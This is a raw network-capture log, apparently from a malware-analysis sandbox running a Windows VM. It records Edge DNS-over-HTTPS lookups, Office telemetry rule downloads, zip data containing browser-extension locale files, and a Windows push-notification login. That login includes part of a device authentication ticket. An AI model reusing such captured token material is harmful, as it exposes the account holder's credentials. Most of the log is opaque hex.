2024-11-18 03:41:32 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-18 03:41:32 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-18 03:41:32 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-18 03:41:32 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-18 03:41:32 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-18 03:41:32 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49863	162.159.61.3	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 03:41:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 03:41:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 03:41:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e44f2029b436ba7-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 03:41:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0a 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49864	162.159.61.3	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 03:41:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 03:41:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 03:41:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e44f202abd0469e-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 03:41:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 da 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49865	172.64.41.3	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:31 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 03:41:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 03:41:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 03:41:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e44f2030b80478b-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 03:41:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a7 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:32 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:32 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:32 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6763c5ef-a01e-000d-6fc4-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034132Z-1866b5c5fbb7lvschC1DFW4rm000000005b0000000002p1g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:32 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49856	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:32 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 62 31 68 70 42 76 36 71 63 55 4f 6b 69 72 38 6e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 32 32 62 34 38 61 33 62 36 33 64 39 39 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: b1hpBv6qcUOkir8n.1Context: 4022b48a3b63d990
2024-11-18 03:41:32 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-18 03:41:32 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 62 31 68 70 42 76 36 71 63 55 4f 6b 69 72 38 6e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 32 32 62 34 38 61 33 62 36 33 64 39 39 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 75 30 6e 7a 46 74 78 61 77 47 2b 62 4c 68 74 52 6e 32 41 44 6c 4a 49 46 78 41 51 66 73 49 6d 61 65 71 50 73 70 52 73 73 6e 72 71 71 61 2f 62 65 4e 5a 77 2f 75 5a 59 78 30 6d 59 6a 67 42 4a 4c 52 4b 35 76 46 77 57 4b 58 58 2f 57 2f 76 6d 6a 6f 56 39 39 32 49 6c 68 68 50 34 6f 37 6b 66 42 69 55 4f 73 76 57 57 55 32 77 31 2b Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: b1hpBv6qcUOkir8n.2Context: 4022b48a3b63d990<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXu0nzFtxawG+bLhtRn2ADlJIFxAQfsImaeqPspRssnrqqa/beNZw/uZYx0mYjgBJLRK5vFwWKXX/W/vmjoV992IlhhP4o7kfBiUOsvWWU2w1+
2024-11-18 03:41:32 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 62 31 68 70 42 76 36 71 63 55 4f 6b 69 72 38 6e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 32 32 62 34 38 61 33 62 36 33 64 39 39 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: b1hpBv6qcUOkir8n.3Context: 4022b48a3b63d990<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-18 03:41:32 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-18 03:41:32 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 39 39 77 6a 7a 34 56 66 63 30 71 49 54 34 42 79 6d 45 79 6f 32 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 99wjz4Vfc0qIT4BymEyo2w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:32 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:32 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:32 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034132Z-16547b76f7fkz9l7hC1DFW35uc000000027000000000pphs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:32 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:32 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:32 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:32 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034132Z-1866b5c5fbbkcpv2hC1DFWf1yc00000005e00000000009r5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:32 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="
